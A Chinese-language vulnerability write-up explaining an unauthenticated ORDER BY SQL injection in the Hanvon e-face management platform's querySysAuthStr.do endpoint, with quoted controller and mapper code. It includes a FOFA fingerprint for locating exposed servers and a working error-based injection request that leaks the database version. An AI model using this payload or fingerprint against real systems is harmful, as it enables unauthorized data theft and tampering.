漏洞简介

汉王e脸通综合管理平台是汉王公司研发的一款基于生物识别技术的智慧园区管理软件，集成了考勤管理、门禁管理、访客管理、巡更管理、消费管理、车控管理、梯控管理、人事管理等多个模块，广泛应用于政府、企业、监狱、学校、智慧社区等多个领域，实现无接触式快速通行，提升管理效率和安全性。其管理平台的 querySysAuthStr.do 接口存在 SQL注入漏洞。攻击者可在无需认证的情况下，通过构造恶意请求参数注入恶意 SQL 语句，导致数据库信息泄露、数据篡改甚至系统权限提升，影响系统数据安全和完整性。

影响版本

V1.6.x

fofa语法

icon_hash="1380907357"

漏洞分析

直接看 SysAuthStrController 里关于 querySysAuthStr 的实现

@ResponseBody
@RequestMapping(
    value = {"/querySysAuthStr.do"},
    method = {RequestMethod.GET}
)
public RequestJson querySysAuthStr(@RequestParam(required = false,value = "page") Integer page, @RequestParam(required = false,value = "pageSize") Integer pageSize, @RequestParam(required = false,value = "start") String start, @RequestParam(required = false,value = "end") String end, @RequestParam(required = false,value = "cardId") String cardId, @RequestParam(required = false,value = "userName") String userName, @RequestParam(required = false,value = "checkState") Integer checkState, @RequestParam(required = false,value = "columnKey") String columnKey, @RequestParam(required = false,value = "order") String order) {
    RequestJson result = new RequestJson();

    try {
        if (page == null) {
            page = Constants.DEFAULT_START_PAGE_INDEX;
        }

        if (pageSize == null) {
            pageSize = Constants.PAGE_SIZE;
        }

        SysAuthStrParam param = new SysAuthStrParam();
        param.setUserName(userName);
        if (null != cardId && !"".equals(cardId)) {
            param.setCardId(cardId);
        }

        param.setStart(start);
        param.setEnd(end);
        param.setCheckState(checkState);
        if (null != columnKey && columnKey.equals("sz_employ_id")) {
            columnKey = "SU." + columnKey;
        }

        param.setColumnKey(columnKey);
        param.setOrder(order);
        Long currUserId = TheApp.getCurrentUser().getId();
        param.setCurrUserId(currUserId);
        PageHelper.startPage(page, pageSize);
        List<SysAuthStrTpm> list = this.sysAuthStrAsm.querySysAuthStr(param);

和 汉王e脸通综合管理平台 queryManyPeopleGroupList.do SQL注入漏洞 处理逻辑差不多，直接看对应的 mapper xml文件 SysAuthStrDsm.xml

<select id="querySysAuthStr" parameterType="com.hanvon.iface.tpm.meeting.param.MeetingRoomParam" resultMap="BaseResultMap2">
    SELECT SAS.ID, SAS.USER_ID, SU.SZ_NAME AS USERNAME, SU.SZ_CARD_ID AS CARDID, SAS.FACEDATE_PHOTO, SAS.BRANCH_ID, SAS.CHECK_STATE, SAS.CREATE_TIME  AS CREATETIME,
    SAS.CHECK_ID, SAS.CHECK_TIME, SAS.DELETE_STATE, SAS.TYPE, SAS.COMMENT, SB.SZ_NAME AS BRANCHNAME,
    CASE WHEN SAS.CHECK_ID = 0 THEN '自动审核' ELSE SU1.SZ_NAME END AS CHECKNAME,SU.SZ_EMPLOY_ID AS EMPLOYID
    FROM SYS_AUTH_STR SAS
    LEFT JOIN SYS_USER SU ON SAS.USER_ID = SU.NG_ID
    LEFT JOIN SYS_USER SU1 ON SAS.CHECK_ID = SU1.NG_ID
    LEFT JOIN SYS_BRANCH SB ON SAS.BRANCH_ID = SB.NG_ID
    WHERE 1 = 1
    <if test="userName != null">
      and SU.SZ_NAME like CONCAT('%',#{userName},'%')
    </if>
    <if test="cardId != null">
      and (SU.SZ_CARD_ID like CONCAT('%',#{cardId},'%')
      OR SU.SZ_EMPLOY_ID like CONCAT('%',#{cardId},'%'))
    </if>
    <if test="checkState != null">
      and SAS.CHECK_STATE = #{checkState}
    </if>
    <if test="start != null">
      and SAS.CREATE_TIME  &gt;= #{start}
    </if>
    <if test="end != null">
      and #{end} &gt;= SAS.CREATE_TIME
    </if>
    <if test="currUserId != null">
      AND SB.NG_ID IN (
        SELECT DISTINCT NG_BRANCH_ID
        FROM SYS_BRANCH_ROLE BR
        INNER JOIN SYS_ROLE R ON BR.NG_ROLE_ID = R.NG_ID
        INNER JOIN SYS_USER_ROLE UR ON UR.NG_ROLE_ID = R.NG_ID
        WHERE UR.NG_USER_ID = #{currUserId})
    </if>
    ORDER BY
    <if test="order == null or order == ''">
      SAS.CREATE_TIME desc
    </if>
    <if test="order != null and order != ''">
      ${columnKey} ${order}
    </if>
  </select>

用户可控的 columnKey 和 order 参数未经任何过滤直接拼接到 SQL 语句的 ORDER BY 子句中，导致攻击者可构造恶意输入执行任意 SQL 命令，造成SQL注入漏洞。

漏洞复现

GET /manage/sysAuthStr/querySysAuthStr.do?columnKey=(UPDATEXML(2920,CONCAT(0x7e,@@version,0x7e,(SELECT/**/(ELT(2920=2920,1)))),8357))&id=1&order=desc&page=1&pageSize=10&pointName=1&recoToken=SGUsqvF7cVS HTTP/1.1
Host: hanvon.mrxn.net

成功通过报错注入爆出数据库版本信息